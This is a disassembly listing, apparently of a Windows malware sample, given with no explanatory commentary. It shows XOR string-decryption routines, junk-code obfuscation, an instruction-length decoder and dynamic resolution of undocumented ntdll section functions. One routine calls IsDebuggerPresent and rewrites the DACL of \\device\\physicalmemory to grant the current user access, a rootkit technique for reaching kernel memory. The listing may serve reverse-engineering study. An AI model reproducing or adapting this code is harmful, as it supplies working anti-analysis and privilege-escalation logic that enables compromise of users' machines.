		movsx	edx, byte ptr [ecx+edx]
		cmp	eax, edx
		jz	short loc_4019DA
		xor	eax, eax
		inc	eax
		jmp	short loc_4019E2
; ---------------------------------------------------------------------------


loc_4019DA:				; CODE XREF: .text:004019D3j
		inc	ebx


loc_4019DB:				; CODE XREF: .text:004019BCj
		cmp	ebx, [ebp+14h]
		jl	short loc_4019BE
		xor	eax, eax


loc_4019E2:				; CODE XREF: .text:004019D8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 3DDh
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43C28C
		lea	eax, ds:4340E0h[eax]
		push	eax
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	dword ptr [ebp-8], 38Eh
		xor	edi, edi
		jmp	short loc_401A34
; ---------------------------------------------------------------------------


loc_401A1D:				; CODE XREF: .text:00401A36j
		mov	eax, dword_43C28C
		add	eax, edi
		lea	eax, ds:4340E0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 76h
		mov	[eax], dl
		inc	edi


loc_401A34:				; CODE XREF: .text:00401A1Bj
		cmp	edi, esi
		jl	short loc_401A1D
		mov	dword ptr [ebp-0Ch], 3E6h
		mov	eax, dword_43C28C
		add	eax, esi
		mov	byte ptr dword_4340E0[eax], 0
		mov	edi, dword_43C28C
		mov	eax, edi
		lea	eax, [eax+esi+5]
		mov	dword_43C28C, eax
		cmp	eax, 0DD0h
		jle	short loc_401A6D
		and	dword_43C28C, 0


loc_401A6D:				; CODE XREF: .text:00401A64j
		mov	dword ptr [ebp-10h], 1E0h
		lea	eax, dword_4340E0[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_401A7E(LPCSTR	lpFileName, int)

sub_401A7E	proc near		; CODE XREF: sub_4054C8+51p
					; sub_4061F7+4B2p ...

var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_1		= byte ptr -1
lpFileName	= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1], 0C3h
		add	[ebp+var_1], 29h
		push	0		; hTemplateFile
		push	80h		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	3		; dwShareMode
		push	80000000h	; dwDesiredAccess
		push	[ebp+lpFileName] ; lpFileName
		call	CreateFileA	; CreateFileA
		mov	edi, eax
		call	GetCurrentProcessId	; GetCurrentProcessId
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_401ACF
		mov	ax, word_43C290
		mov	[ebp+var_E], ax
		cmp	[ebp+arg_4], 0
		jz	short loc_401ACB
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0


loc_401ACB:				; CODE XREF: sub_401A7E+45j
		xor	eax, eax
		jmp	short loc_401B1C
; ---------------------------------------------------------------------------


loc_401ACF:				; CODE XREF: sub_401A7E+35j
		push	0		; lpFileSizeHigh
		push	edi		; hFile
		call	GetFileSize	; GetFileSize
		mov	esi, eax
		add	eax, 10h
		push	eax		; uBytes
		push	40h		; uFlags
		call	LocalAlloc	; LocalAlloc
		mov	ebx, eax
		call	GetCurrentProcessId	; GetCurrentProcessId
		push	0		; lpOverlapped
		cmp	[ebp+arg_4], 0
		jz	short loc_401AFB
		mov	eax, [ebp+arg_4]
		mov	[ebp-10h], eax
		jmp	short loc_401B01
; ---------------------------------------------------------------------------


loc_401AFB:				; CODE XREF: sub_401A7E+73j
		lea	eax, [ebp+var_8]
		mov	[ebp-10h], eax


loc_401B01:				; CODE XREF: sub_401A7E+7Bj
		push	dword ptr [ebp-10h] ; lpNumberOfBytesRead
		push	esi		; nNumberOfBytesToRead
		push	ebx		; lpBuffer
		push	edi		; hFile
		call	ReadFile	; ReadFile
		mov	eax, dword_43C292
		mov	[ebp+var_C], eax
		push	edi		; hObject
		call	CloseHandle	; CloseHandle
		mov	eax, ebx


loc_401B1C:				; CODE XREF: sub_401A7E+4Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401A7E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43C2A0
		lea	eax, ds:410820h[eax]
		push	eax
		call	memcpy	; memcpy
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_401B5E
; ---------------------------------------------------------------------------


loc_401B47:				; CODE XREF: .text:00401B60j
		mov	eax, dword_43C2A0
		add	eax, edi
		lea	eax, ds:410820h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 5Fh
		mov	[eax], dl
		inc	edi


loc_401B5E:				; CODE XREF: .text:00401B45j
		cmp	edi, esi
		jl	short loc_401B47
		mov	dword ptr [ebp-4], 0D0h
		mov	eax, dword_43C2A0
		add	eax, esi
		mov	byte ptr dword_410820[eax], 0
		xor	edi, edi
		mov	edi, dword_43C2A0
		add	dword_43C2A0, 3
		mov	eax, dword_43C2A0
		inc	eax
		add	eax, esi
		mov	dword_43C2A0, eax
		inc	dword_43C2A0
		cmp	dword_43C2A0, 0E06h
		jle	short loc_401BAD
		and	dword_43C2A0, 0


loc_401BAD:				; CODE XREF: .text:00401BA4j
		lea	eax, dword_410820[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_401BB7(int, int, void	*Dst)

sub_401BB7	proc near		; CODE XREF: sub_4054C8+690p
					; sub_4098A8+FD2p

var_D		= byte ptr -0Dh
var_5		= byte ptr -5
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Dst		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	ax, word_43C2A4
		mov	[ebp+var_4], ax
		mov	[ebp+var_2], 74D3h
		movzx	eax, [ebp+var_2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2], ax
		mov	ebx, [ebp+arg_4]
		jmp	short loc_401C1E
; ---------------------------------------------------------------------------


loc_401BE3:				; CODE XREF: sub_401BB7+6Ej
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 0Dh
		jnz	short loc_401C1D
		call	GetCurrentProcessId	; GetCurrentProcessId
		mov	eax, [ebp+arg_4]
		mov	edx, ebx
		sub	edx, eax
		push	edx		; Size
		mov	edx, [ebp+arg_0]
		add	edx, eax
		push	edx		; Src
		push	[ebp+Dst]	; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	eax, ebx
		sub	eax, [ebp+arg_4]
		mov	edx, [ebp+Dst]
		mov	byte ptr [edx+eax], 0
		mov	eax, ebx
		add	eax, 2
		jmp	short loc_401C9C
; ---------------------------------------------------------------------------


loc_401C1D:				; CODE XREF: sub_401BB7+33j
		inc	ebx


loc_401C1E:				; CODE XREF: sub_401BB7+2Aj
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 0
		jnz	short loc_401BE3
		cmp	[ebp+arg_4], 0
		jz	short loc_401C5F
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 0
		jnz	short loc_401C5F
		mov	eax, ebx
		dec	eax
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 0Ah
		jnz	short loc_401C5F
		mov	[ebp+var_5], 4
		movzx	eax, [ebp+var_5]
		imul	eax, 11ACh
		mov	[ebp+var_5], al
		mov	eax, [ebp+Dst]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		inc	eax
		jmp	short loc_401C9C
; ---------------------------------------------------------------------------


loc_401C5F:				; CODE XREF: sub_401BB7+74j
					; sub_401BB7+7Dj ...
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		push	eax		; lpString
		call	lstrlenA	; lstrlenA
		mov	ebx, eax
		or	ebx, ebx
		jz	short loc_401C9A
		mov	[ebp+var_5], 2
		add	[ebp+var_5], 1
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		push	eax
		push	[ebp+Dst]
		call	sub_40C6D8
		lea	edi, [ebp+var_D]
		lea	esi, word_43C2A6
		movsd
		movsd
		mov	eax, [ebp+arg_4]
		add	eax, ebx
		jmp	short loc_401C9C
; ---------------------------------------------------------------------------


loc_401C9A:				; CODE XREF: sub_401BB7+B8j
		xor	eax, eax


loc_401C9C:				; CODE XREF: sub_401BB7+64j
					; sub_401BB7+A6j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401BB7	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43C2B8
		lea	eax, ds:437350h[eax]
		push	eax
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	dword ptr [ebp-4], 319h
		xor	edi, edi
		jmp	short loc_401CE8
; ---------------------------------------------------------------------------


loc_401CCE:				; CODE XREF: .text:00401CEAj
		mov	eax, dword_43C2B8
		add	eax, edi
		lea	eax, ds:437350h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0F1h
		mov	[eax], dl
		inc	edi


loc_401CE8:				; CODE XREF: .text:00401CCCj
		cmp	edi, esi
		jl	short loc_401CCE
		mov	eax, dword_43C2B8
		add	eax, esi
		mov	byte ptr dword_437350[eax], 0
		mov	edi, dword_43C2B8
		mov	eax, edi
		add	eax, 4
		add	eax, esi
		mov	dword_43C2B8, eax
		add	dword_43C2B8, 2
		cmp	dword_43C2B8, 0DB0h
		jle	short loc_401D27
		and	dword_43C2B8, 0


loc_401D27:				; CODE XREF: .text:00401D1Ej
		lea	eax, dword_437350[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D31	proc near		; CODE XREF: sub_402843+93p

var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= word ptr -12h
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 15C6h
		add	[ebp+var_4], 325Fh
		inc	dword_43C230
		mov	ax, word_43C2BC
		mov	[ebp+var_A], ax
		mov	ebx, [ebp+arg_0]
		and	dword_40E07C, 0
		and	dword_41E8B8, 0
		and	dword_41E9D0, 0
		and	dword_40F1D0, 0
		mov	dword_41B7A4, 4
		mov	dword_41507C, 4


loc_401D8B:				; CODE XREF: sub_401D31+122j
					; sub_401D31+14Fj ...
		mov	eax, ebx
		inc	ebx
		mov	al, [eax]
		mov	byte_415078, al
		movzx	eax, byte_415078
		or	eax, eax
		jl	loc_402002
		cmp	eax, 0FFh
		jg	loc_402002
		jmp	off_43C2CC[eax*4]
; ---------------------------------------------------------------------------
		call	GetCurrentThreadId	; GetCurrentThreadId


loc_401DBB:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		or	byte ptr dword_41E8B8, 40h
		jmp	loc_402002
; ---------------------------------------------------------------------------
		inc	dword_43C230


loc_401DCD:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		xor	eax, eax
		cmp	byte ptr [ebx],	20h
		setnz	al
		dec	eax
		and	eax, 4
		inc	eax
		mov	[ebp+var_1C], eax
		add	dword_41E9D0, eax
		jmp	loc_402002
; ---------------------------------------------------------------------------


loc_401DE8:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		or	byte ptr dword_41E8B8, 40h
		test	byte ptr [ebx],	38h
		jnz	loc_402002


loc_401DF8:				; CODE XREF: sub_401D31+7Ej
					; DATA XREF: .text:0043C2DCo ...
		test	byte_415078, 1
		jz	short loc_401E11
		mov	eax, dword_41B7A4
		add	dword_41E9D0, eax
		jmp	loc_402002
; ---------------------------------------------------------------------------


loc_401E11:				; CODE XREF: sub_401D31+CEj
		inc	dword_41E9D0
		jmp	loc_402002
; ---------------------------------------------------------------------------


loc_401E1C:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		inc	dword_41E9D0
		jmp	loc_402002
; ---------------------------------------------------------------------------
		inc	dword_43C230


loc_401E2D:				; CODE XREF: sub_401D31+7Ej
					; DATA XREF: .text:0043C364o ...
		test	byte ptr dword_41E8B8, 10h
		jz	short loc_401E3D
		xor	eax, eax
		jmp	loc_402195
; ---------------------------------------------------------------------------


loc_401E3D:				; CODE XREF: sub_401D31+103j
		call	GetProcessHeap	; GetProcessHeap
		or	byte ptr dword_41E8B8, 10h
		mov	al, byte_415078
		mov	byte_40F1DC, al
		jmp	loc_401D8B
; ---------------------------------------------------------------------------


loc_401E58:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		test	byte ptr dword_41E8B8, 4
		jz	short loc_401E68
		xor	eax, eax
		jmp	loc_402195
; ---------------------------------------------------------------------------


loc_401E68:				; CODE XREF: sub_401D31+12Ej
		lea	edi, [ebp+var_18]
		lea	esi, word_43C2BE
		mov	ecx, 3
		rep movsw
		or	byte ptr dword_41E8B8, 4
		jmp	loc_401D8B
; ---------------------------------------------------------------------------


loc_401E85:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		test	byte ptr dword_41E8B8, 8
		jz	short loc_401E95
		xor	eax, eax
		jmp	loc_402195
; ---------------------------------------------------------------------------


loc_401E95:				; CODE XREF: sub_401D31+15Bj
		call	GetVersion	; GetVersion
		or	byte ptr dword_41E8B8, 8
		mov	al, byte_415078
		mov	byte_41FB00, al
		jmp	loc_401D8B
; ---------------------------------------------------------------------------


loc_401EB0:				; CODE XREF: sub_401D31+7Ej
					; DATA XREF: .text:0043C464o
		test	byte ptr dword_41E8B8, 1
		jz	short loc_401EC0
		xor	eax, eax
		jmp	loc_402195
; ---------------------------------------------------------------------------


loc_401EC0:				; CODE XREF: sub_401D31+186j
		or	byte ptr dword_41E8B8, 1
		mov	dword_41B7A4, 2
		jmp	loc_401D8B
; ---------------------------------------------------------------------------


loc_401ED6:				; CODE XREF: sub_401D31+7Ej
					; DATA XREF: .text:0043C468o
		test	byte ptr dword_41E8B8, 2
		jz	short loc_401EE6
		xor	eax, eax
		jmp	loc_402195
; ---------------------------------------------------------------------------


loc_401EE6:				; CODE XREF: sub_401D31+1ACj
		mov	[ebp+var_12], 2BC6h
		sub	[ebp+var_12], 1A0Bh
		or	byte ptr dword_41E8B8, 2
		mov	dword_41507C, 2
		jmp	loc_401D8B
; ---------------------------------------------------------------------------
		inc	dword_43C230


loc_401F0E:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		inc	dword_41E9D0
		or	byte ptr dword_41E8B8, 40h
		jmp	loc_402002
; ---------------------------------------------------------------------------


loc_401F20:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		mov	eax, dword_41B7A4
		add	dword_41E9D0, eax
		or	byte ptr dword_41E8B8, 40h
		jmp	loc_402002
; ---------------------------------------------------------------------------


loc_401F37:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		mov	eax, dword_41B7A4
		add	eax, 2
		add	dword_41E9D0, eax
		jmp	loc_402002
; ---------------------------------------------------------------------------


loc_401F4A:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		mov	eax, dword_41507C
		add	dword_40F1D0, eax
		jmp	loc_402002
; ---------------------------------------------------------------------------


loc_401F5A:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		mov	eax, dword_41B7A4
		add	dword_41E9D0, eax
		jmp	loc_402002
; ---------------------------------------------------------------------------
		inc	dword_43C230


loc_401F70:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		add	dword_41E9D0, 2
		jmp	loc_402002
; ---------------------------------------------------------------------------


loc_401F7C:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		add	dword_41E9D0, 3
		jmp	short loc_402002
; ---------------------------------------------------------------------------


loc_401F85:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+291j
					; DATA XREF: ...
		xor	eax, eax
		jmp	loc_402195
; ---------------------------------------------------------------------------


loc_401F8C:				; CODE XREF: sub_401D31+7Ej
					; DATA XREF: .text:0043C308o
		or	byte ptr dword_41E8B8, 20h
		mov	eax, ebx
		inc	ebx
		mov	al, [eax]
		mov	byte_42FB10, al
		movzx	eax, byte_42FB10
		or	eax, eax
		jl	short loc_401FFB
		cmp	eax, 0Bh
		jg	short loc_401FB4
		jmp	off_43C6CC[eax*4]
; ---------------------------------------------------------------------------


loc_401FB4:				; CODE XREF: sub_401D31+27Aj
		cmp	eax, 80h
		jl	short loc_401FFB
		cmp	eax, 0CFh
		jg	short loc_401FFB
		jmp	off_43C4FC[eax*4]
; ---------------------------------------------------------------------------
		call	GetCurrentProcessId	; GetCurrentProcessId


loc_401FCE:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+27Cj ...
		or	byte ptr dword_41E8B8, 40h
		jmp	short loc_402002
; ---------------------------------------------------------------------------
		inc	dword_43C230
		jmp	short loc_402002
; ---------------------------------------------------------------------------


loc_401FDF:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+27Cj ...
		mov	eax, dword_41B7A4
		add	dword_41E9D0, eax
		jmp	short loc_402002
; ---------------------------------------------------------------------------


loc_401FEC:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+27Cj ...
		inc	dword_41E9D0
		or	byte ptr dword_41E8B8, 40h
		jmp	short loc_402002
; ---------------------------------------------------------------------------


loc_401FFB:				; CODE XREF: sub_401D31+7Ej
					; sub_401D31+275j ...
		xor	eax, eax
		jmp	loc_402195
; ---------------------------------------------------------------------------


loc_402002:				; CODE XREF: sub_401D31+6Dj
					; sub_401D31+78j ...
		inc	dword_43C230
		test	byte ptr dword_41E8B8, 40h
		jz	loc_40210E
		lea	edi, [ebp+var_1C+2]
		lea	esi, dword_43C2C4
		mov	ecx, 3
		rep movsw
		mov	eax, ebx
		inc	ebx
		mov	al, [eax]
		mov	byte_430C2C, al
		mov	[ebp+var_12], 46D1h
		sub	[ebp+var_12], 49BDh
		movzx	eax, byte_430C2C
		and	eax, 0C0h
		mov	[ebp+var_13], al
		movzx	eax, byte_430C2C
		and	eax, 7
		mov	[ebp+var_14], al
		movzx	eax, [ebp+var_13]
		cmp	eax, 0C0h
		jz	loc_40210E
		call	GetProcessHeap	; GetProcessHeap
		cmp	[ebp+var_13], 40h
		jnz	short loc_402078
		inc	dword_40F1D0


loc_402078:				; CODE XREF: sub_401D31+33Fj
		mov	byte ptr [ebp+var_1C+1], 69h
		add	byte ptr [ebp+var_1C+1], 1
		movzx	eax, [ebp+var_13]
		cmp	eax, 80h
		jnz	short loc_402096
		mov	eax, dword_41507C
		add	dword_40F1D0, eax


loc_402096:				; CODE XREF: sub_401D31+358j
		call	GetCurrentProcessId	; GetCurrentProcessId
		cmp	dword_41507C, 2
		jnz	short loc_4020C1
		mov	byte ptr [ebp+var_1C], 71h
		add	byte ptr [ebp+var_1C], 25h
		cmp	[ebp+var_13], 0
		jnz	short loc_40210E
		cmp	[ebp+var_14], 6
		jnz	short loc_40210E
		add	dword_40F1D0, 2
		jmp	short loc_40210E
; ---------------------------------------------------------------------------


loc_4020C1:				; CODE XREF: sub_401D31+371j
		mov	[ebp+var_1E], 61CBh
		sub	[ebp+var_1E], 7700h
		cmp	[ebp+var_14], 4
		jnz	short loc_4020FB
		call	GetCurrentProcessId	; GetCurrentProcessId
		or	byte ptr dword_41E8B8, 80h
		call	GetCurrentThreadId	; GetCurrentThreadId
		mov	eax, ebx
		inc	ebx
		mov	al, [eax]
		mov	byte_41B7A0, al
		movzx	eax, byte_41B7A0
		and	eax, 7
		mov	[ebp+var_14], al


loc_4020FB:				; CODE XREF: sub_401D31+3A0j
		cmp	[ebp+var_14], 5
		jnz	short loc_40210E
		cmp	[ebp+var_13], 0
		jnz	short loc_40210E
		add	dword_40F1D0, 4


loc_40210E:				; CODE XREF: sub_401D31+2DEj
					; sub_401D31+330j ...
		and	dword_40F1D4, 0
		jmp	short loc_40212F
; ---------------------------------------------------------------------------


loc_402117:				; CODE XREF: sub_401D31+409j
		mov	eax, ebx
		inc	ebx
		mov	edx, dword_40F1D4
		mov	al, [eax]
		mov	byte_415070[edx], al
		inc	dword_40F1D4


loc_40212F:				; CODE XREF: sub_401D31+3E4j
		mov	eax, dword_40F1D0
		cmp	dword_40F1D4, eax
		jb	short loc_402117
		mov	[ebp+var_6], 1644h
		sub	[ebp+var_6], 0C83h
		and	dword_40F1D4, 0
		jmp	short loc_402169
; ---------------------------------------------------------------------------


loc_402151:				; CODE XREF: sub_401D31+443j
		mov	eax, ebx
		inc	ebx
		mov	edx, dword_40F1D4
		mov	al, [eax]
		mov	byte_43A560[edx], al
		inc	dword_40F1D4


loc_402169:				; CODE XREF: sub_401D31+41Ej
		mov	eax, dword_41E9D0
		cmp	dword_40F1D4, eax
		jb	short loc_402151
		mov	[ebp+var_8], 2887h
		add	[ebp+var_8], 1636h
		inc	dword_43C230
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		mov	dword_40E07C, eax
		xor	eax, eax
		inc	eax


loc_402195:				; CODE XREF: sub_401D31+107j
					; sub_401D31+132j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401D31	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 1EAh
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43CF34
		lea	eax, ds:4186C0h[eax]
		push	eax
		call	memcpy	; memcpy
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_4021E2
; ---------------------------------------------------------------------------


loc_4021C8:				; CODE XREF: .text:004021E4j
		mov	eax, dword_43CF34
		add	eax, edi
		lea	eax, ds:4186C0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0D3h
		mov	[eax], dl
		inc	edi


loc_4021E2:				; CODE XREF: .text:004021C6j
		cmp	edi, esi
		jl	short loc_4021C8
		mov	dword ptr [ebp-8], 278h
		mov	eax, dword_43CF34
		add	eax, esi
		mov	byte ptr dword_4186C0[eax], 0
		mov	edi, dword_43CF34
		mov	eax, edi
		add	eax, 6
		add	eax, esi
		mov	dword_43CF34, eax
		cmp	eax, 0DCEh
		jle	short loc_40221C
		and	dword_43CF34, 0


loc_40221C:				; CODE XREF: .text:00402213j
		lea	eax, dword_4186C0[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402226	proc near		; CODE XREF: sub_402A48+15p

var_4		= word ptr -4
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	[ebp+var_1], 0C6h
		sub	[ebp+var_1], 4Eh
		push	offset ModuleName ; "ntdll.dll"
		call	GetModuleHandleA	; GetModuleHandleA
		mov	edi, eax
		mov	esi, 3E55h
		add	esi, 765Dh
		push	offset ProcName	; "RtlInitUnicodeString"
		push	edi		; hModule
		call	GetProcAddress	; GetProcAddress
		mov	dword_430C24, eax
		call	GetTickCount	; GetTickCount
		push	offset aNtunmapviewofs ; "NtUnmapViewOfSection"
		push	edi		; hModule
		call	GetProcAddress	; GetProcAddress
		mov	dword_41D8A0, eax
		push	offset aNtopensection ;	"NtOpenSection"
		push	edi		; hModule
		call	GetProcAddress	; GetProcAddress
		mov	dword_41B7AC, eax
		mov	esi, 3B63h
		sub	esi, 2C1Bh
		push	offset aNtmapviewofsec ; "NtMapViewOfSection"
		push	edi		; hModule
		call	GetProcAddress	; GetProcAddress
		mov	dword_41E8C8, eax
		push	offset aRtlntstatustod ; "RtlNtStatusToDosError"
		push	edi		; hModule
		call	GetProcAddress	; GetProcAddress
		mov	dword_430C20, eax
		mov	[ebp+var_4], 23Ah
		sub	[ebp+var_4], 4D70h
		pop	edi
		pop	esi
		leave
		retn
sub_402226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4022BB	proc near		; CODE XREF: sub_402A48+172p

ppSecurityDescriptor= dword ptr	-78h
var_72		= dword	ptr -72h
var_6E		= byte ptr -6Eh
var_6D		= dword	ptr -6Dh
var_69		= byte ptr -69h
pDacl		= dword	ptr -68h
OldAcl		= dword	ptr -64h
var_60		= byte ptr -60h
var_56		= word ptr -56h
var_53		= byte ptr -53h
var_52		= word ptr -52h
pListOfExplicitEntries=	_EXPLICIT_ACCESS_A ptr -50h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
hObject		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 78h
		push	ebx
		push	esi
		push	edi
		call	GetProcessHeap	; GetProcessHeap
		push	offset aDevicePhysical ; "\\device\\physicalmemory"
		lea	eax, [ebp+var_60]
		push	eax
		call	dword_430C24
		call	GetProcessHeap	; GetProcessHeap
		mov	[ebp+var_18], 18h
		mov	ebx, 752Bh
		inc	ebx
		and	[ebp+var_14], 0
		mov	[ebp+var_53], 2Bh
		add	[ebp+var_53], 1
		lea	eax, [ebp+var_60]
		mov	[ebp+var_10], eax
		call	GetProcessHeap	; GetProcessHeap
		mov	[ebp+var_C], 40h
		mov	[ebp+var_56], 683Eh
		inc	[ebp+var_56]
		and	[ebp+var_8], 0
		lea	edi, [ebp+var_69]
		lea	esi, byte_43CFE6
		xor	ecx, ecx
		inc	ecx
		rep movsb
		and	[ebp+var_4], 0
		call	GetVersion	; GetVersion
		and	[ebp+var_30], 0
		mov	eax, dword_43CFE7
		mov	[ebp+var_6D], eax
		and	[ebp+var_2C], 0
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], 1
		call	GetProcessHeap	; GetProcessHeap
		lea	eax, aCurrent_user ; "CURRENT_USER"
		mov	[ebp+var_20], eax
		lea	edi, [ebp+var_6E]
		lea	esi, byte_43CFEB
		xor	ecx, ecx
		inc	ecx
		rep movsb
		mov	[ebp+pListOfExplicitEntries.grfAccessPermissions], 2
		mov	eax, dword_43CFEC
		mov	[ebp+var_72], eax
		mov	[ebp+pListOfExplicitEntries.grfAccessMode], 1
		mov	ebx, 206Fh
		mov	eax, ebx
		add	eax, ebx
		mov	ebx, eax
		and	[ebp+pListOfExplicitEntries.grfInheritance], 0
		lea	edi, [ebp+pListOfExplicitEntries.Trustee]
		lea	esi, [ebp+var_30]
		mov	ecx, 5
		rep movsd
		mov	[ebp+var_52], 7B38h
		movzx	eax, [ebp+var_52]
		mov	edx, eax
		add	edx, eax


loc_4023A7:				; DATA XREF: sub_4403F5+2Fo
		mov	eax, edx
		mov	[ebp+var_52], ax
		lea	eax, [ebp+var_18]
		push	eax
		push	60000h
		lea	eax, [ebp+hObject]
		push	eax
		call	dword_41B7AC	; ZwOpenSection
		call	IsDebuggerPresent	; IsDebuggerPresent
		lea	eax, [ebp+ppSecurityDescriptor]
		push	eax		; ppSecurityDescriptor
		push	0		; ppSacl
		lea	eax, [ebp+OldAcl]
		push	eax		; ppDacl
		push	0		; ppsidGroup
		push	0		; ppsidOwner
		push	4		; SecurityInfo
		push	6		; ObjectType
		push	[ebp+hObject]	; handle
		call	GetSecurityInfo	; GetSecurityInfo
		call	GetCurrentProcessId	; GetCurrentProcessId
		lea	eax, [ebp+pDacl]
		push	eax		; NewAcl
		push	[ebp+OldAcl]	; OldAcl
		lea	eax, [ebp+pListOfExplicitEntries]
		push	eax		; pListOfExplicitEntries
		mov	eax, 0Bh
		sub	eax, dword_43CF30
		push	eax		; cCountOfExplicitEntries
		call	SetEntriesInAclA	; SetEntriesInAclA
		call	GetTickCount	; GetTickCount
		push	0		; pSacl
		push	[ebp+pDacl]	; pDacl
		push	0		; psidGroup
		push	0		; psidOwner
		push	4		; SecurityInfo
		push	6		; ObjectType
		push	[ebp+hObject]	; handle
		call	SetSecurityInfo	; SetSecurityInfo
		call	GetCurrentProcessId	; GetCurrentProcessId
		push	[ebp+hObject]	; hObject
		call	CloseHandle	; CloseHandle
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+pListOfExplicitEntries.grfAccessPermissions]
		lea	eax, [ebp+hObject]
		push	eax
		call	dword_41B7AC	; ZwOpenSection
		call	GetLastError
		mov	eax, [ebp+hObject]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4022BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402445	proc near		; CODE XREF: sub_402A48+230p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
